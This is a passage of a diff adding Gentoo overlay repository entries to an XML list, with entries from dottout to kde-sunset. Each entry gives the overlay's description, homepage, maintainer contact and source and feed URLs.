+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/dotnet.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>dottout</name>
+    <description>Dottout overlay</description>
+    <homepage>http://repo.or.cz/w/dottout.git</homepage>
+    <owner>
+      <email>andrea@dottout.com</email>
+    </owner>
+    <source type="git">git://repo.or.cz/dottout.git</source>
+    <feed>http://repo.or.cz/w/dottout.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>drizzt-overlay</name>
+    <description>drizzt's private developer overlay</description>
+    <homepage>http://drizzt.bsdnet.eu/</homepage>
+    <owner>
+      <email>drizzt@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/drizzt/</source>
+    <feed>http://overlays.gentoo.org/dev/drizzt/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>DuPol</name>
+    <description lang="en">DuPol's own and modified portage ebuilds.</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/DuPol.git;a=summary</homepage>
+    <owner type="person">
+      <email>dustin.polke@uni-siegen.de</email>
+      <name>Dustin Polke</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/DuPol.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/DuPol.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/DuPol.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/DuPol.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/DuPol.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>eatnumber1</name>
+    <description lang="en">Eatnumber1's personal overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/eatnumber1.git;a=summary</homepage>
+    <owner type="person">
+      <email>russ@eatnumber1.com</email>
+      <name>Russell Harmon</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/eatnumber1.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/eatnumber1.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/eatnumber1.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/eatnumber1.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/eatnumber1.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>efika</name>
+    <description>Temporary overlay for adding support for the EFIKA platform to
+    Gentoo.</description>
+    <owner type="project">
+      <email>wolf31o2@wolf31o2.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/efika</source>
+    <feed>http://overlays.gentoo.org/proj/efika/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>emacs</name>
+    <description>Provide Emacs related ebuilds which are a bit experimental or
+    work-in-progress. Don't rely on them, but don't hesitate to file bugs or
+    write emails.</description>
+    <homepage>http://overlays.gentoo.org/proj/emacs/</homepage>
+    <owner type="project">
+      <email>emacs@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/emacs/emacs-overlay</source>
+    <feed>http://overlays.gentoo.org/proj/emacs/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>embedded-cross</name>
+    <description lang="en">Gentoo cross-compilation overlay for embedded devices</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/embedded-cross.git;a=summary</homepage>
+    <owner type="project">
+      <email>armin76@gentoo.org</email>
+      <name>Raúl Porcel</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/embedded-cross.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/embedded-cross.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/embedded-cross.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/embedded-cross.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/embedded-cross.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>enlightenment</name>
+    <description>Support for the Enlightenment project, most notably
+    DR17/e17.</description>
+    <homepage>http://overlays.gentoo.org/dev/vapier/wiki/enlightenment</homepage>
+    <owner>
+      <email>enlightenment@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/vapier/enlightenment</source>
+    <feed>http://overlays.gentoo.org/dev/vapier/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>eva</name>
+    <description lang="en">Developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/eva.git;a=summary</homepage>
+    <owner type="person">
+      <email>eva@gentoo.org</email>
+      <name>Gilles Dartiguelongue</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/eva.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/eva.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/eva.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/eva.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/eva.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>eyolfson</name>
+    <description>Jon Eyolfson's personal overlay.</description>
+    <homepage>http://github.com/eyolfson/overlay-eyolfson</homepage>
+    <owner>
+      <email>jon@eyolfson.com</email>
+      <name>Jon Eyolfson</name>
+    </owner>
+    <source type="git">git://github.com/eyolfson/overlay-eyolfson.git</source>
+    <source type="git">http://github.com/eyolfson/overlay-eyolfson.git</source>
+    <feed>http://github.com/feeds/eyolfson/commits/overlay-eyolfson/master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>falco</name>
+    <description>Falco's random stuff about netmon, net-mail or security,
+    unofficial ebuilds like proxsmtp, unofficial patches on Postfix; also
+    pre-stable security upgrades, perhaps merged in the Security Overlay
+    Project some day.</description>
+    <homepage>http://dev.gentoo.org/~falco/</homepage>
+    <owner>
+      <email>falco@gentoo.org</email>
+      <name>Raphaël Marichez</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/falco</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/falco.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/falco.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/falco.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/falco.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>ferringb</name>
+    <description>Brian Harring's private development overlay</description>
+    <homepage>http://www.pkgcore.org/~ferringb/</homepage>
+    <owner>
+      <email>ferringb@gmail.com</email>
+      <name>Brian Harring</name>
+    </owner>
+    <source type="bzr">http://pkgcore.org/~ferringb/bzr/overlay</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>finnish</name>
+    <description>Finnish overlay for spell checking etc. etc.</description>
+    <homepage>http://overlays.gentoo.org/proj/finnish</homepage>
+    <owner type="project">
+      <email>flammie@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/finnish/trunk</source>
+    <feed>http://overlays.gentoo.org/proj/finnish/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>flameeyes-overlay</name>
+    <description>Flameeyes' private developer overlay</description>
+    <homepage>http://blog.flameeyes.eu/</homepage>
+    <owner>
+      <email>flameeyes@gmail.com</email>
+      <name>Diego Petten&#195;&#178;</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/flameeyes.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/flameeyes.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/flameeyes.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/flameeyes.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/flameeyes.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>foo-overlay</name>
+    <description>Piotr's fixes and new packages</description>
+    <homepage>http://github.com/slashbeast/foo-overlay</homepage>
+    <owner type="person">
+      <email>jabberuser@gmail.com</email>
+      <name>Piotr Karbowski</name>
+    </owner>
+    <source type="git">git://github.com/slashbeast/foo-overlay.git</source>
+    <source type="git">http://github.com/slashbeast/foo-overlay.git</source>
+    <feed>http://github.com/slashbeast/foo-overlay/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>freevo</name>
+    <description>The Freevo overlay provides ebuils for development snapshots
+    of the unreleased Freevo 2.0 and its dependencies.</description>
+    <homepage>http://www.freevo.org</homepage>
+    <owner>
+      <email>dischi@freevo.org</email>
+    </owner>
+    <source type="svn">svn://svn.freevo.org/freevo/portage/</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gamerlay</name>
+    <description>
+		Gamers overlay for all various games. Not related with games team.
+ 	</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/gamerlay.git</homepage>
+    <owner>
+      <email>scarabeus@gentoo.org</email>
+      <name>Tom&#195;&#161;&#197;&#161; Chv&#195;&#161;tal</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/gamerlay.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/gamerlay.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/gamerlay.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gamerlay.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gamerlay.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>games</name>
+    <description>A collection of work-in-progress ebuilds and ebuilds which
+    require testing.</description>
+    <homepage>http://games.gentoo.org/</homepage>
+    <owner>
+      <email>games@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/games</source>
+    <feed>http://overlays.gentoo.org/proj/games/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gcc-porting</name>
+    <description>Compatibility patches for upcoming GCC releases.</description>
+    <homepage>http://overlays.gentoo.org/proj/gcc-porting/</homepage>
+    <owner>
+      <email>gcc-porting@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/gcc-porting</source>
+    <feed>http://overlays.gentoo.org/proj/gcc-porting/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>gechi</name>
+    <description>The Gechi Overlay offers a repository of Gentoo Ebuilds made by
+        Gechi users. The scope is to cover all projects
+        sponsored/developed by the Gechi and making them easily available.</description>
+    <homepage>http://sourceforge.net/projects/gechi-overlay/</homepage>
+    <owner type="project">
+      <email>gechi+subscribe@gechi.it</email>
+      <name>Gechi mailing list</name>
+    </owner>
+    <source type="svn">https://gechi-overlay.svn.sourceforge.net/svnroot/gechi-overlay/overlay/</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>genstef</name>
+    <description>Genstef's Overlay - It usually contains some experimental
+    ebuilds on their way to the tree</description>
+    <homepage>http://overlays.gentoo.org/dev/genstef</homepage>
+    <owner>
+      <email>genstef@gentoo.org</email>
+      <name>Stefan Schweizer</name>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/genstef</source>
+    <feed>http://overlays.gentoo.org/dev/genstef/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>gentoo-arm</name>
+    <description>Gentoo ARM Overlay</description>
+    <homepage>http://gentooarm.powderluv.org/</homepage>
+    <owner>
+      <email>powderluv@powderluv.org</email>
+    </owner>
+    <source type="git">git://gitorious.org/gentoo-arm-overlay/gentoo-arm-overlay.git</source>
+    <feed>http://gitorious.org/gentoo-arm-overlay.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gentoo-bsd</name>
+    <description>Gentoo/BSD Project Overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/gentoo-bsd.git</homepage>
+    <owner>
+      <email>welp@gentoo.org</email>
+      <name>Peter Weller</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/gentoo-bsd.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/gentoo-bsd.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/gentoo-bsd.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gentoo-bsd.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gentoo-bsd.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>gentoo-china</name>
+    <description>Purpose To provide some programs useful to Chinese
+    users.</description>
+    <homepage>http://code.google.com/p/gentoo-china-overlay</homepage>
+    <owner>
+      <email>r0bertz@gentoo.org</email>
+    </owner>
+    <source type="svn">http://gentoo-china-overlay.googlecode.com/svn/trunk/</source>
+    <feed>http://code.google.com/feeds/p/gentoo-china-overlay/svnchanges/basic</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>gentoo-quebec</name>
+    <description>New ebuilds created by the Gentoo-Quebec team.</description>
+    <homepage>http://www.gentoo-quebec.org</homepage>
+    <owner>
+      <email>laurent@gentoo-quebec.org</email>
+    </owner>
+    <source type="svn">https://gentoo-quebec.org/svn/gentoo-quebec/trunk/overlay/</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>gentoo-taiwan</name>
+    <description>A collection of ebuilds from Gentoo Taiwan.</description>
+    <homepage>http://gentoo-taiwan.googlecode.com/</homepage>
+    <owner>
+      <email>scsichen@gmail.com</email>
+    </owner>
+    <source type="svn">http://gentoo-taiwan.googlecode.com/svn/trunk/</source>
+    <feed>http://code.google.com/feeds/p/gentoo-taiwan/svnchanges/basic</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>gentoojp</name>
+    <description>GentooJP provides custom ebuilds for Japanese Gentoo
+    users.</description>
+    <homepage>http://ebuild.gentoo.gr.jp/</homepage>
+    <owner>
+      <email>jp-admins@gentoo.gr.jp</email>
+    </owner>
+    <source type="git">git://git.gentoo.gr.jp/ebuilds/gentoojp.git</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gnome</name>
+    <description>experimental gnome ebuilds</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome.git;a=summary</homepage>
+    <owner type="project">
+      <email>gnome@gentoo.org</email>
+      <name>GNOME team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/gnome.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/gnome.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/gnome.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gnome-live</name>
+    <description>highly experimental gnome live ebuilds</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome-live.git;a=summary</homepage>
+    <owner type="project">
+      <email>gnome@gentoo.org</email>
+      <name>GNOME team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/gnome-live.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/gnome-live.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/gnome-live.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome-live.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome-live.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gnr</name>
+    <description>Gentoo Netbook Remix (GNR)</description>
+    <homepage>http://github.com/ramereth/gnr-overlay/tree/master</homepage>
+    <owner>
+      <email>ramereth@gentoo.org</email>
+    </owner>
+    <source type="git">git://github.com/ramereth/gnr-overlay.git</source>
+    <feed>http://github.com/feeds/ramereth/commits/gnr-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gnustep</name>
+    <description>Experimental ebuilds for GNUstep packages in Gentoo. Comments
+    and bugreports are welcome!</description>
+    <homepage>http://overlays.gentoo.org/proj/gnustep</homepage>
+    <owner type="project">
+      <email>gnustep@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/gnustep/overlay</source>
+    <feed>http://overlays.gentoo.org/proj/gnustep/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>gpe</name>
+    <description>experimental gpe ebuilds</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/gpe.git;a=summary</homepage>
+    <owner>
+      <email>gpe@gentoo.org</email>
+      <name>Ned Ludd</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/gpe.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/gpe.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/gpe.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gpe.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/gpe.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>graaff</name>
+    <description>Developer overlay of Hans de Graaff with mostly ruby and
+    xemacs ebuilds, and a few assorted other goodies.</description>
+    <homepage>http://moving-innovations.com/blog/</homepage>
+    <owner>
+      <email>graaff@gentoo.org</email>
+    </owner>
+    <source type="git">http://moving-innovations.com/overlay</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>halcy0n</name>
+    <description>Various packages, probably some toolchain stuff
+    though</description>
+    <homepage>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/halcy0n.git;a=summary</homepage>
+    <owner>
+      <email>halcy0n@gentoo.org</email>
+      <name>Mark Loeser</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/halcy0n.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/halcy0n.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/halcy0n.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/halcy0n.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/halcy0n.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>hanno</name>
+    <description>Hanno Boeck developer overlay.</description>
+    <homepage>http://www.hboeck.de</homepage>
+    <owner>
+      <email>hanno@gentoo.org</email>
+    </owner>
+    <source type="svn">https://svn.hboeck.de/overlay/</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>hardened-development</name>
+    <description>Development Overlay for Hardened Gcc 4.x Toolchain</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/hardened-dev.git;a=summary</homepage>
+    <owner type="project">
+      <email>hardened@gentoo.org</email>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/hardened-dev.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/hardened-dev.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>haskell</name>
+    <description>The Official Gentoo Haskell overlay.</description>
+    <homepage>http://code.haskell.org/gentoo/gentoo-haskell/</homepage>
+    <owner>
+      <email>haskell@gentoo.org</email>
+    </owner>
+    <source type="darcs">http://code.haskell.org/gentoo/gentoo-haskell/</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>hawking</name>
+    <description>hawking's random ebuilds.</description>
+    <homepage>http://dev.gentoo.org/~hawking/</homepage>
+    <owner>
+      <email>hawking@gentoo.org</email>
+      <name>Ali Polatel</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/hawking</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/hawking.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/hawking.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/hawking.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/hawking.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>hollow</name>
+    <description>A collection of work-in-progress ebuilds and other fun broken
+    things.</description>
+    <homepage>http://git.xnull.de/gitweb/?p=overlay.git</homepage>
+    <owner>
+      <email>hollow@gentoo.org</email>
+    </owner>
+    <source type="git">git://git.xnull.de/overlay.git</source>
+    <feed>http://git.xnull.de/gitweb/?p=overlay.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>hwoarang</name>
+    <description>hwoarangs' testing ebuilds</description>
+    <homepage>http://dev.gentoo.org/~hwoarang/</homepage>
+    <owner>
+      <email>hwoarang@gentoo.org</email>
+      <name>Markos Chandras</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/hwoarang</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/hwoarang.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/hwoarang.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/hwoarang.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/hwoarang.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>ibormuth</name>
+    <description>Personal Overlay of Ingo Bormuth</description>
+    <homepage>http://repo.or.cz/w/gentoo-overlay-ibormuth.git</homepage>
+    <owner>
+      <email>ibormuth@efil.de</email>
+    </owner>
+    <source type="git">git://repo.or.cz/gentoo-overlay-ibormuth.git</source>
+    <feed>http://repo.or.cz/w/gentoo-overlay-ibormuth.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>iElectric</name>
+    <description>iElectric's personal overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/iElectric.git</homepage>
+    <owner>
+      <email>domen@dev.si</email>
+      <name>Domen Kožar</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/iElectric.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/iElectric.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/iElectric.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/iElectric.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/iElectric.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>ikelos</name>
+    <description>Ikelos's hospice for broken and damaged ebuilds.</description>
+    <homepage>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/ikelos.git;a=summary</homepage>
+    <owner>
+      <email>ikelos@gentoo.org</email>
+      <name>Mike Auty</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/ikelos.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/ikelos.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/ikelos.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/ikelos.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/ikelos.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>init6</name>
+    <description>Mostly fixes and new unstable packages</description>
+    <homepage>http://github.com/init6/init_6</homepage>
+    <owner>
+      <email>sudormrfhalt@gmail.com</email>
+      <name>Andrey Ovcharov</name>
+    </owner>
+    <source type="git">git://github.com/init6/init_6.git</source>
+    <feed>http://github.com/feeds/init6/commits/init_6/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>initng</name>
+    <description>Initng is a full replacement of the old and in many ways
+    deprecated sysvinit tool. It is designed with speed in mind because it does
+    as much as possible asynchronously. In other words: It will boot your
+    unix-system much faster, and give you more control and statistics over your
+    system.</description>
+    <homepage>http://www.initng.org</homepage>
+    <owner>
+      <email>qupada@initng.org</email>
+    </owner>
+    <source type="svn">https://svn.initng.org/portage/gentoo</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>interactive-fiction</name>
+    <description>Packages for players and authors of interactive
+    fiction</description>
+    <owner>
+      <email>levertond@googlemail.com</email>
+    </owner>
+    <source type="git">git://repo.or.cz/gentoo-interactive-fiction.git</source>
+    <feed>http://repo.or.cz/w/gentoo-interactive-fiction.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>iwlwifi</name>
+    <description>This overlay provides ebuilds for the new wireless driver
+    iwlwifi</description>
+    <homepage>http://opensvn.csie.org/rmh3093/iwlwifi</homepage>
+    <owner>
+      <email>rmh3093@gmail.com</email>
+    </owner>
+    <source type="svn">http://opensvn.csie.org/rmh3093/iwlwifi</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>jasiu</name>
+    <description>Ebuilds for latest versions of abiword, tinc, onesis, and some other packages</description>
+    <homepage>http://gitorious.org/jasiu</homepage>
+    <owner type="person">
+      <email>jasiupsota@gmail.com</email>
+      <name>Jan Psota</name>
+    </owner>
+    <source type="git">git://gitorious.org/jasiu/jasiu.git</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>java-overlay</name>
+    <description>The only java overlay available via layman. This overlays
+    contains ebuilds that are expected to work when you emerge them. The
+    ebuilds also need to use the generation 2 eclasses.</description>
+    <homepage>http://overlays.gentoo.org/proj/java</homepage>
+    <owner type="project">
+      <email>java@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/java/java-overlay/</source>
+    <feed>http://overlays.gentoo.org/proj/java/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>je_fro</name>
+    <description>Helpful ebuilds for the macbook pro, and experimental
+    gentoo-science packages.</description>
+    <homepage>http://overlays.gentoo.org/dev/je_fro</homepage>
+    <owner>
+      <email>je_fro@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/je_fro</source>
+    <feed>http://overlays.gentoo.org/dev/je_fro/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>jensp</name>
+    <description>jensp's user overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/jensp.git;a=summary</homepage>
+    <owner>
+      <email>jens@chaox.net</email>
+      <name>Jens Pranaitis</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/jensp.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/jensp.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/jensp.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/jensp.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/jensp.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>jmbsvicetto</name>
+    <description>Jorge Manuel B. S. Vicetto developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/jmbsvicetto.git</homepage>
+    <owner>
+      <email>jmbsvicetto@gentoo.org</email>
+      <name>Jorge Manuel B. S. Vicetto</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/jmbsvicetto.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/jmbsvicetto.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/jmbsvicetto.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/jmbsvicetto.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/jmbsvicetto.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>jokey</name>
+    <description>Jokey's Overlay - Contains pre-tree stuff like italc,
+    pkgcore-test-ebuilds and lcd stuff</description>
+    <homepage>http://overlays.gentoo.org/dev/jokey</homepage>
+    <owner>
+      <email>jokey@gentoo.org</email>
+      <name>Markus Ullmann</name>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/jokey/trunk</source>
+    <feed>http://overlays.gentoo.org/dev/jokey/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>jyujin</name>
+    <description>eINIT, kyuuba, dev9, various splash daemons</description>
+    <homepage>http://jyujin.de/</homepage>
+    <owner>
+      <email>mdeininger@jyujin.de</email>
+    </owner>
+    <source type="git">git://git.becquerel.org/portage-overlay.git</source>
+    <feed>http://git.jyujin.de/?p=portage-overlay.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>kde</name>
+    <description>Official KDE team's testing overlay.</description>
+    <homepage>http://kde.gentoo.org</homepage>
+    <owner type="project">
+      <email>kde@gentoo.org</email>
+      <name>KDE Team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/kde.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/kde.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/kde.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>kde-sunset</name>
+    <description>User-maintained overlay for old KDE packages removed from the tree, such as KDE3.</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=summary</homepage>
+    <owner type="project">
+      <email>gentoo-desktop+subscribe@lists.gentoo.org</email>
+      <name>gentoo-desktop mailing list</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/kde-sunset.git</source>
